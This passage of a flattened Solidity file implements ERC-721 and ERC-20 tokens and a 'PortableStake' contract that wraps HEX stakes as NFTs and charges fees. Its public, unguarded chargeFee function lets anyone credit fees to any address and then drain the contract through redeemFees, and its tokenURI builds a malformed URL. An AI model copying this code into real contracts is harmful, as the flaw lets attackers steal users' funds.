Guarantees that _tokenId is a valid Token. * @param _tokenId ID of the NFT to validate. */ modifier validNFToken( uint256 _tokenId ) { require(idToOwner[_tokenId] != address(0), NOT_VALID_NFT); _; } /** * @dev Contract constructor. */ constructor() { supportedInterfaces[0x80ac58cd] = true; // ERC721 } /** * @dev Transfers the ownership of an NFT from one address to another address. This function can * be changed to payable. * @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the * approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is * the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this * function checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. * @param _data Additional data with no specified format, sent in call to `_to`. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes calldata _data ) external override { _safeTransferFrom(_from, _to, _tokenId, _data); } /** * @dev Transfers the ownership of an NFT from one address to another address. This function can * be changed to payable. * @notice This works identically to the other function with an extra data parameter, except this * function just sets data to "" * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external override { _safeTransferFrom(_from, _to, _tokenId, ""); } /** * @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved * address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero * address. Throws if `_tokenId` is not a valid NFT. This function can be changed to payable. * @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else * they may be permanently lost. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function transferFrom( address _from, address _to, uint256 _tokenId ) external override canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, NOT_OWNER); require(_to != address(0), ZERO_ADDRESS); _transfer(_to, _tokenId); } /** * @dev Set or reaffirm the approved address for an NFT. This function can be changed to payable. * @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is * the current NFT owner, or an authorized operator of the current owner. * @param _approved Address to be approved for the given NFT ID. * @param _tokenId ID of the token to be approved. */ function approve( address _approved, uint256 _tokenId ) external override canOperate(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(_approved != tokenOwner, IS_OWNER); idToApproval[_tokenId] = _approved; emit Approval(tokenOwner, _approved, _tokenId); } /** * @dev Enables or disables approval for a third party ("operator") to manage all of * `msg.sender`'s assets. It also emits the ApprovalForAll event. * @notice This works even if sender doesn't own any tokens at the time. * @param _operator Address to add to the set of authorized operators. * @param _approved True if the operators is approved, false to revoke approval. */ function setApprovalForAll( address _operator, bool _approved ) external override { ownerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are * considered invalid, and this function throws for queries about the zero address. * @param _owner Address for whom to query the balance. * @return Balance of _owner. */ function balanceOf( address _owner ) external override view returns (uint256) { require(_owner != address(0), ZERO_ADDRESS); return _getOwnerNFTCount(_owner); } /** * @dev Returns the address of the owner of the NFT. NFTs assigned to the zero address are * considered invalid, and queries about them do throw. * @param _tokenId The identifier for an NFT. * @return _owner Address of _tokenId owner. */ function ownerOf( uint256 _tokenId ) external override view returns (address _owner) { _owner = idToOwner[_tokenId]; require(_owner != address(0), NOT_VALID_NFT); } /** * @dev Get the approved address for a single NFT. * @notice Throws if `_tokenId` is not a valid NFT. * @param _tokenId ID of the NFT to query the approval of. * @return Address that _tokenId is approved for. */ function getApproved( uint256 _tokenId ) external override view validNFToken(_tokenId) returns (address) { return idToApproval[_tokenId]; } /** * @dev Checks if `_operator` is an approved operator for `_owner`. * @param _owner The address that owns the NFTs. * @param _operator The address that acts on behalf of the owner. * @return True if approved for all, false otherwise. */ function isApprovedForAll( address _owner, address _operator ) external override view returns (bool) { return ownerToOperators[_owner][_operator]; } /** * @dev Actually performs the transfer. * @notice Does NO checks. * @param _to Address of a new owner. * @param _tokenId The NFT that is being transferred. */ function _transfer( address _to, uint256 _tokenId ) internal { address from = idToOwner[_tokenId]; _clearApproval(_tokenId); _removeNFToken(from, _tokenId); _addNFToken(_to, _tokenId); emit Transfer(from, _to, _tokenId); } /** * @dev Mints a new NFT. * @notice This is an internal function which should be called from user-implemented external * mint function. Its purpose is to show and properly initialize data structures when using this * implementation. * @param _to The address that will own the minted NFT. * @param _tokenId of the NFT to be minted by the msg.sender. */ function _mint( address _to, uint256 _tokenId ) internal virtual { require(_to != address(0), ZERO_ADDRESS); require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS); _addNFToken(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Burns a NFT. * @notice This is an internal function which should be called from user-implemented external burn * function. Its purpose is to show and properly initialize data structures when using this * implementation. Also, note that this burn implementation allows the minter to re-mint a burned * NFT. * @param _tokenId ID of the NFT to be burned. */ function _burn( uint256 _tokenId ) internal virtual validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; _clearApproval(_tokenId); _removeNFToken(tokenOwner, _tokenId); emit Transfer(tokenOwner, address(0), _tokenId); } /** * @dev Removes a NFT from owner. * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @param _from Address from which we want to remove the NFT. * @param _tokenId Which NFT we want to remove. */ function _removeNFToken( address _from, uint256 _tokenId ) internal virtual { require(idToOwner[_tokenId] == _from, NOT_OWNER); ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from] - 1; delete idToOwner[_tokenId]; } /** * @dev Assigns a new NFT to owner. * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @param _to Address to which we want to add the NFT. * @param _tokenId Which NFT we want to add. */ function _addNFToken( address _to, uint256 _tokenId ) internal virtual { require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS); idToOwner[_tokenId] = _to; ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to] + 1; } /** * @dev Helper function that gets NFT count of owner. This is needed for overriding in enumerable * extension to remove double storage (gas optimization) of owner NFT count. * @param _owner Address for whom to query the count. * @return Number of _owner NFTs. */ function _getOwnerNFTCount( address _owner ) internal virtual view returns (uint256) { return ownerToNFTokenCount[_owner]; } /** * @dev Actually perform the safeTransferFrom. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. * @param _data Additional data with no specified format, sent in call to `_to`. */ function _safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) private canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, NOT_OWNER); require(_to != address(0), ZERO_ADDRESS); _transfer(_to, _tokenId); if (_to.isContract()) { bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data); require(retval == MAGIC_ON_ERC721_RECEIVED, NOT_ABLE_TO_RECEIVE_NFT); } } /** * @dev Clears the current approval of a given NFT ID. * @param _tokenId ID of the NFT to be transferred. */ function _clearApproval( uint256 _tokenId ) private { if (idToApproval[_tokenId] != address(0)) { delete idToApproval[_tokenId]; } } } // File: contracts\ethereum-erc721\tokens\erc721-enumerable.sol pragma solidity ^0.8.0; /** * @dev Optional enumeration extension for ERC-721 non-fungible token standard. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. */ interface ERC721Enumerable { /** * @dev Returns a count of valid NFTs tracked by this contract, where each one of them has an * assigned and queryable owner not equal to the zero address. * @return Total supply of NFTs. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token identifier for the `_index`th NFT. Sort order is not specified. * @param _index A counter less than `totalSupply()`. * @return Token id. */ function tokenByIndex( uint256 _index ) external view returns (uint256); /** * @dev Returns the token identifier for the `_index`th NFT assigned to `_owner`. Sort order is * not specified. It throws if `_index` >= `balanceOf(_owner)` or if `_owner` is the zero address, * representing invalid NFTs. * @param _owner An address where we are interested in NFTs owned by them. * @param _index A counter less than `balanceOf(_owner)`. * @return Token id. */ function tokenOfOwnerByIndex( address _owner, uint256 _index ) external view returns (uint256); } // File: contracts\ethereum-erc721\tokens\nf-token-enumerable.sol pragma solidity ^0.8.0; /** * @dev Optional enumeration implementation for ERC-721 non-fungible token standard. */ contract NFTokenEnumerable is NFToken, ERC721Enumerable { /** * @dev List of revert message codes. Implementing dApp should handle showing the correct message. * Based on 0xcert framework error codes. */ string constant INVALID_INDEX = "005007"; /** * @dev Array of all NFT IDs. */ uint256[] internal tokens; /** * @dev Mapping from token ID to its index in global tokens array. */ mapping(uint256 => uint256) internal idToIndex; /** * @dev Mapping from owner to list of owned NFT IDs. */ mapping(address => uint256[]) internal ownerToIds; /** * @dev Mapping from NFT ID to its index in the owner tokens list. */ mapping(uint256 => uint256) internal idToOwnerIndex; /** * @dev Contract constructor. */ constructor() { supportedInterfaces[0x780e9d63] = true; // ERC721Enumerable } /** * @dev Returns the count of all existing NFTokens. * @return Total supply of NFTs. */ function totalSupply() external override view returns (uint256) { return tokens.length; } /** * @dev Returns NFT ID by its index. * @param _index A counter less than `totalSupply()`. * @return Token id. */ function tokenByIndex( uint256 _index ) external override view returns (uint256) { require(_index < tokens.length, INVALID_INDEX); return tokens[_index]; } /** * @dev returns the n-th NFT ID from a list of owner's tokens. * @param _owner Token owner's address. * @param _index Index number representing n-th token in owner's list of tokens. * @return Token id. */ function tokenOfOwnerByIndex( address _owner, uint256 _index ) external override view returns (uint256) { require(_index < ownerToIds[_owner].length, INVALID_INDEX); return ownerToIds[_owner][_index]; } /** * @dev Mints a new NFT. * @notice This is an internal function which should be called from user-implemented external * mint function. Its purpose is to show and properly initialize data structures when using this * implementation. * @param _to The address that will own the minted NFT. * @param _tokenId of the NFT to be minted by the msg.sender. */ function _mint( address _to, uint256 _tokenId ) internal override virtual { super._mint(_to, _tokenId); tokens.push(_tokenId); idToIndex[_tokenId] = tokens.length - 1; } /** * @dev Burns a NFT. * @notice This is an internal function which should be called from user-implemented external * burn function. Its purpose is to show and properly initialize data structures when using this * implementation. Also, note that this burn implementation allows the minter to re-mint a burned * NFT. * @param _tokenId ID of the NFT to be burned. */ function _burn( uint256 _tokenId ) internal override virtual { super._burn(_tokenId); uint256 tokenIndex = idToIndex[_tokenId]; uint256 lastTokenIndex = tokens.length - 1; uint256 lastToken = tokens[lastTokenIndex]; tokens[tokenIndex] = lastToken; tokens.pop(); // This wastes gas if you are burning the last token but saves a little gas if you are not. idToIndex[lastToken] = tokenIndex; idToIndex[_tokenId] = 0; } /** * @dev Removes a NFT from an address. * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @param _from Address from wich we want to remove the NFT. * @param _tokenId Which NFT we want to remove. */ function _removeNFToken( address _from, uint256 _tokenId ) internal override virtual { require(idToOwner[_tokenId] == _from, NOT_OWNER); delete idToOwner[_tokenId]; uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId]; uint256 lastTokenIndex = ownerToIds[_from].length - 1; if (lastTokenIndex != tokenToRemoveIndex) { uint256 lastToken = ownerToIds[_from][lastTokenIndex]; ownerToIds[_from][tokenToRemoveIndex] = lastToken; idToOwnerIndex[lastToken] = tokenToRemoveIndex; } ownerToIds[_from].pop(); } /** * @dev Assigns a new NFT to an address. * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @param _to Address to wich we want to add the NFT. * @param _tokenId Which NFT we want to add. */ function _addNFToken( address _to, uint256 _tokenId ) internal override virtual { require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS); idToOwner[_tokenId] = _to; ownerToIds[_to].push(_tokenId); idToOwnerIndex[_tokenId] = ownerToIds[_to].length - 1; } /** * @dev Helper function that gets NFT count of owner. This is needed for overriding in enumerable * extension to remove double storage(gas optimization) of owner NFT count. * @param _owner Address for whom to query the count. * @return Number of _owner NFTs. */ function _getOwnerNFTCount( address _owner ) internal override virtual view returns (uint256) { return ownerToIds[_owner].length; } } // File: contracts\ethereum-erc721\tokens\erc721-metadata.sol pragma solidity ^0.8.0; /** * @dev Optional metadata extension for ERC-721 non-fungible token standard. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. */ interface ERC721Metadata { /** * @dev Returns a descriptive name for a collection of NFTs in this contract. * @return _name Representing name. */ function name() external view returns (string memory _name); /** * @dev Returns a abbreviated name for a collection of NFTs in this contract. * @return _symbol Representing symbol. */ function symbol() external view returns (string memory _symbol); /** * @dev Returns a distinct Uniform Resource Identifier (URI) for a given asset. It Throws if * `_tokenId` is not a valid NFT. URIs are defined in RFC3986. The URI may point to a JSON file * that conforms to the "ERC721 Metadata JSON Schema". * @return URI of _tokenId. */ function tokenURI(uint256 _tokenId) external view returns (string memory); } // File: contracts\ethereum-erc721\utils\Context1.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context1 { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts\ethereum-erc721\ownership\ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context1 { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\ERC20\IERC20.sol pragma solidity ^0.8.0; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 * Copied from https://github.com/PacktPublishing/Mastering-Blockchain-Programming-with-Solidity/blob/master/Chapter09/openzeppelin-solidity/contracts/token/ERC20/IERC20.sol */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts\lib\SafeMath.sol pragma solidity ^0.8.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: contracts\ERC20\ERC20.sol pragma solidity ^0.8.0; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. * Copied from https://github.com/PacktPublishing/Mastering-Blockchain-Programming-with-Solidity/blob/master/Chapter09/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public override view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public override returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: contracts\Stakeable\IStakeable.sol pragma solidity ^0.8.0; interface IStakeable{ /** * @dev PUBLIC FACING: Open a stake. * @param amount Amount to stake * @param newStakedDays Number of days to stake */ function stakeStart(uint256 amount, uint256 newStakedDays)external; /** * @dev PUBLIC FACING: Unlocks a completed stake, distributing the proceeds of any penalty * immediately. The staker must still call stakeEnd() to retrieve their stake return (if any). * @param stakerAddr Address of staker * @param stakeIndex Index of stake within stake list * @param stakeIdParam The stake's id */ function stakeGoodAccounting(address stakerAddr, uint256 stakeIndex, uint40 stakeIdParam)external; /** * @dev PUBLIC FACING: Closes a stake. The order of the stake list can change so * a stake id is used to reject stale indexes. * @param stakeIndex Index of stake within stake list * @param stakeIdParam The stake's id */ function stakeEnd(uint256 stakeIndex, uint40 stakeIdParam) external; /** * @dev PUBLIC FACING: Return the current stake count for a staker address * @param stakerAddr Address of staker */ function stakeCount(address stakerAddr) external view returns (uint256); } /** * This contract is never instantiated or inherited from * Its purpose is to allow strongly typed access to the HEX contract without including its source */ abstract contract StakeableRef is IStakeable, ERC20{ struct StakeStore { uint40 stakeId; uint72 stakedHearts; uint72 stakeShares; uint16 lockedDay; uint16 stakedDays; uint16 unlockedDay; bool isAutoStake; } mapping(address => StakeStore[]) public stakeLists; function currentDay() external virtual view returns (uint256); function symbol() public virtual view returns ( string memory); function name() public virtual view returns ( string memory); } // File: contracts\Wrapping\IERC20Wrapper.sol pragma solidity ^0.8.0; interface IERC20Wrapper { function getWrappedContract()external view returns(IERC20); function wrappedSymbol()external returns(string memory); function wrappedName()external returns(string memory); } // File: contracts\lib\Reward.sol pragma solidity ^0.8.0; library Reward{ function calcExpReward(uint256 principal,uint8 waitedDays, uint8 rewardStretchingDays)internal pure returns (uint256 rewardAmount){ if(waitedDays == 0){ return rewardAmount; } rewardAmount = principal; if(waitedDays > rewardStretchingDays){ return rewardAmount; } uint8 base = 2; uint8 divisionTimes = uint8(rewardStretchingDays - waitedDays); for (uint i = 0; i < divisionTimes; i++){ rewardAmount = rewardAmount / base; if(rewardAmount < base){break;} } return rewardAmount; } } // File: contracts\Fees\FeeCollectorBase.sol pragma solidity ^0.8.0; abstract contract FeeCollectorBase{ IERC20 public PaymentContract; mapping(address=>uint256) public redeemableFees; constructor (IERC20 paymentContract){ PaymentContract = paymentContract; } function redeemFees()external { address collector = address(msg.sender); uint256 amount = redeemableFees[collector]; require(amount > 0, "no fees to redeem"); if(PaymentContract.transfer(collector, amount)){ redeemableFees[collector] = 0; } } function chargeFee(uint256 principal, uint256 fee, address collector)public returns (uint256 newPrincipal){ if(fee <= principal && fee > 0 && collector != address(0)){ uint256 amount = redeemableFees[collector]; amount = amount + fee; redeemableFees[collector] = amount; newPrincipal = principal - fee; }else{ newPrincipal = principal; } } } // File: contracts\IERC165.sol //Source: https://eips.ethereum.org/EIPS/eip-165 pragma solidity ^0.8.0; interface IERC165 { /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool); } // File: contracts\Stakeable\PortableStake.sol pragma solidity ^0.8.0; abstract contract Maintainable is Ownable{ string public Name = "BeStaked"; string public Symbol = "BSTHEX"; string public Domain = "bestaked"; function setConstants(string calldata n, string calldata s, string calldata d,uint8 ds, uint8 m, uint8 o)external onlyOwner() { Name = n; Symbol = s; Domain = d; DEFAULT_REWARD_STRETCHING = ds; MAX_REFERRAL_FEE_PERMILLE = m; if(o <= MAX_OWNER_FEE_PERMILLE){ OWNER_FEE_PERMILLE = o; } } uint8 public constant MIN_REWARD_STRETCHING = 10; uint8 public DEFAULT_REWARD_STRETCHING = 60; uint8 public constant MAX_REWARD_STRETCHING = 255; uint8 public MAX_REFERRAL_FEE_PERMILLE = 100;//10% uint8 public constant MAX_OWNER_FEE_PERMILLE = 10;//1% uint8 public OWNER_FEE_PERMILLE = 2;//0.2% } contract PortableStake is NFTokenEnumerable,ERC721Metadata,IERC20Wrapper,Maintainable,FeeCollectorBase{ event PortableStakeStart( uint256 tokenId, uint256 stakeId, address owner, uint256 feeAmount, uint256 stakedAmount, uint16 stakeLength, uint8 rewardStretching ); event PortableStakeEnd( uint256 tokenId, uint256 stakeId, address owner, address actor, uint256 stakedAmount, uint256 unStakedAmount, uint256 actorRewardAmount, uint256 returnedToOwnerAmount, uint16 startDay, uint16 stakeLength, uint8 lateDays ); struct TokenStore{ uint256 tokenId; uint256 amount; uint40 stakeId; uint8 rewardStretching; } StakeableRef/* StakeableToken */ public StakeableTokenContract; uint16 public MAX_STAKE_DAYS; uint8 public MIN_STAKE_DAYS; mapping(uint256 => TokenStore) public idToToken; constructor (StakeableRef stakeableTokenContract, uint8 minStakeDays, uint16 maxStakeDays) FeeCollectorBase(stakeableTokenContract) { StakeableTokenContract = stakeableTokenContract; MIN_STAKE_DAYS = minStakeDays; MAX_STAKE_DAYS = maxStakeDays; supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata } function getWrappedContract()external override view returns(IERC20){ return StakeableTokenContract; } function wrappedSymbol()external override view returns(string memory){ return StakeableTokenContract.symbol(); } function wrappedName()external override view returns(string memory){ return StakeableTokenContract.name(); } /**Represents the next token id to use. Increment after using.*/ uint256 public TokenIdCounter = 1; /** *@dev Returns a descriptive name for a collection of NFTs in this contract. *@return _name Representing name. */ function name()external override view returns (string memory _name){ return Name;} /** * @dev Returns a abbreviated name for a collection of NFTs in this contract. Not applicable. * @return _symbol Representing symbol. */ function symbol() external override view returns (string memory _symbol){return Symbol;} /** * @dev Returns a distinct Uniform Resource Identifier (URI) for a given asset. It Throws if * `_tokenId` is not a valid NFT. URIs are defined in RFC3986. The URI may point to a JSON file * that conforms to the "ERC721 Metadata JSON Schema". * @return URI of _tokenId. */ function tokenURI(uint256 _tokenId) external override view validNFToken(_tokenId) returns (string memory) { //return "http://" + Domain + "/" + Symbol + "/token" + _tokenId + "metadata" + ".json"; return string(abi.encodePacked("http://", Domain, "/", Symbol, "/token",_tokenId, "metadata", ".json")); } struct MintingInfo{ address owner; address referrer; uint256 amount; uint256 fee; uint16 stakeDays; uint8 rewardStretching; } /** * Takes possession of the amount * Subtracts fees * Stakes the amount * Mints token */ function mintMaxDays(uint256 amount)external{ _mintPS(MintingInfo(address(msg.sender),address(0), amount, 0,MAX_STAKE_DAYS, DEFAULT_REWARD_STRETCHING)); } function mintCustomDays(uint256 amount, uint16 stakeDays) external{ _mintPS(MintingInfo(address(msg.sender),address(0), amount, 0,stakeDays, DEFAULT_REWARD_STRETCHING)); } function mintReferred(uint256 amount, uint16 stakeDays, address referrer, uint256 referralFee) external{ _mintPS(MintingInfo(address(msg.sender),referrer, amount, referralFee,stakeDays, DEFAULT_REWARD_STRETCHING)); //_mintPS(MintingInfo(address(msg.sender),amount, stakeDays, referrer,referralFee, DEFAULT_REWARD_STRETCHING)); } function mintCustomRewardStretching(uint256 amount, uint16 stakeDays, address referrer, uint256 referralFee, uint8 rewardStretching)external{ _mintPS(MintingInfo(address(msg.sender),referrer, amount, referralFee,stakeDays, rewardStretching)); //_mintPS(MintingInfo(address(msg.sender),amount, stakeDays, referrer,referralFee, rewardStretching)); } function _mintPS(MintingInfo memory info)internal{ //Check input _checkInput(info); //Take posession of the amount _takePosession(info.owner, info.amount); //Calculate stake amount by subtracting fees from the amount (uint256 feeAmount, uint256 stakeAmount) = _calculateAndChargeFees(info.amount, info.fee, info.referrer); //Note current stake count or future stake index uint256 stakeIndex = StakeableTokenContract.stakeCount(address(this)); //Stake the amount _startStake(stakeAmount, info.stakeDays); //Get stakeId uint40 stakeId = _confirmStake(stakeIndex); //Record and broadcast uint256 tokenId = _mintToken(stakeId, info.rewardStretching, info.owner); emit PortableStakeStart(tokenId, stakeId, info.owner, feeAmount, stakeAmount, info.stakeDays, info.rewardStretching); } /** Consumes 3 400 gas */ function _checkInput(MintingInfo memory info) public view{ require(info.amount > 0, "PortableStake: amount is zero"); require(info.stakeDays >= MIN_STAKE_DAYS, "PortableStake: newStakedDays lower than minimum"); require(info.stakeDays <= MAX_STAKE_DAYS, "PortableStake: newStakedDays higher than maximum"); require(info.rewardStretching >= MIN_REWARD_STRETCHING, "rewardStretcing out of bounds"); require(info.rewardStretching <= MAX_REWARD_STRETCHING, "rewardStretcing out of bounds"); } /** Consumes 20 000 gas */ function _takePosession(address owner,uint256 amount) internal { //Check balance uint256 balance = StakeableTokenContract.balanceOf(owner); require(balance >= amount, "PortableStake: Insufficient funds"); //Check allowance uint256 allowance = StakeableTokenContract.allowance(owner, address(this)); require(allowance >= amount, "PortableStake: allowance insufficient"); //Take posession StakeableTokenContract.transferFrom(owner, address(this), amount); } function calculateReward(uint256 principal,uint8 waitedDays, uint8 rewardStretchingDays)public pure returns (uint256 rewardAmount){ return Reward.calcExpReward(principal, waitedDays, rewardStretchingDays); } /** Calculates and subtracts fees from principal. Allocates fees for future redemption on this contract. Returns new principal. */ function _calculateAndChargeFees(uint256 principal, uint256 requestedReferrerFee, address referrer)internal returns (uint256 feesCharged, uint256 newPrincipal){ (uint256 referrerFee,uint256 ownerFee) = calculateFees(principal, requestedReferrerFee); newPrincipal = chargeFee(principal, referrerFee, referrer); newPrincipal = chargeFee(newPrincipal, ownerFee, owner()); feesCharged = referrerFee + ownerFee; } /** Caps referrer fee and calculates owner fee. Returns both. */ function calculateFees(uint256 principal, uint256 requestedReferrerFee) public view returns(uint256 referrerFee, uint256 ownerFee){ uint256 perMille = principal / 1000; uint256 maxReferrerFee = perMille * MAX_REFERRAL_FEE_PERMILLE; if(requestedReferrerFee > maxReferrerFee){ referrerFee = maxReferrerFee; }else{ referrerFee = requestedReferrerFee; } ownerFee = perMille * OWNER_FEE_PERMILLE; } /**Wraps stakeable _stakeStart method */ function _startStake(uint256 amount, uint16 stakeDays)internal { StakeableTokenContract.stakeStart(amount, stakeDays); } /** Confirms that the stake was started */ function _confirmStake(uint256 id)internal view returns (uint40 ){ ( uint40 stakeId, /* uint72 stakedHearts */, /* uint72 stakeShares */, /* uint16 lockedDay */, /* uint16 stakedDays */, /* uint16 unlockedDay */, /* bool isAutoStake */ ) = StakeableTokenContract.stakeLists(address(this), id); return stakeId; } function _mintToken(uint40 stakeId, /* uint256 stakeIndex, */ uint8 stretch, address owner)internal returns (uint256 tokenId){ tokenId = TokenIdCounter++; idToToken[tokenId] = TokenStore(tokenId, /* stakeIndex, */ 0,stakeId, stretch); super._mint(owner, tokenId); } /** Gets the index of the stake. It is required for ending stake. */ function getStakeIndex(uint256 tokenId)public view 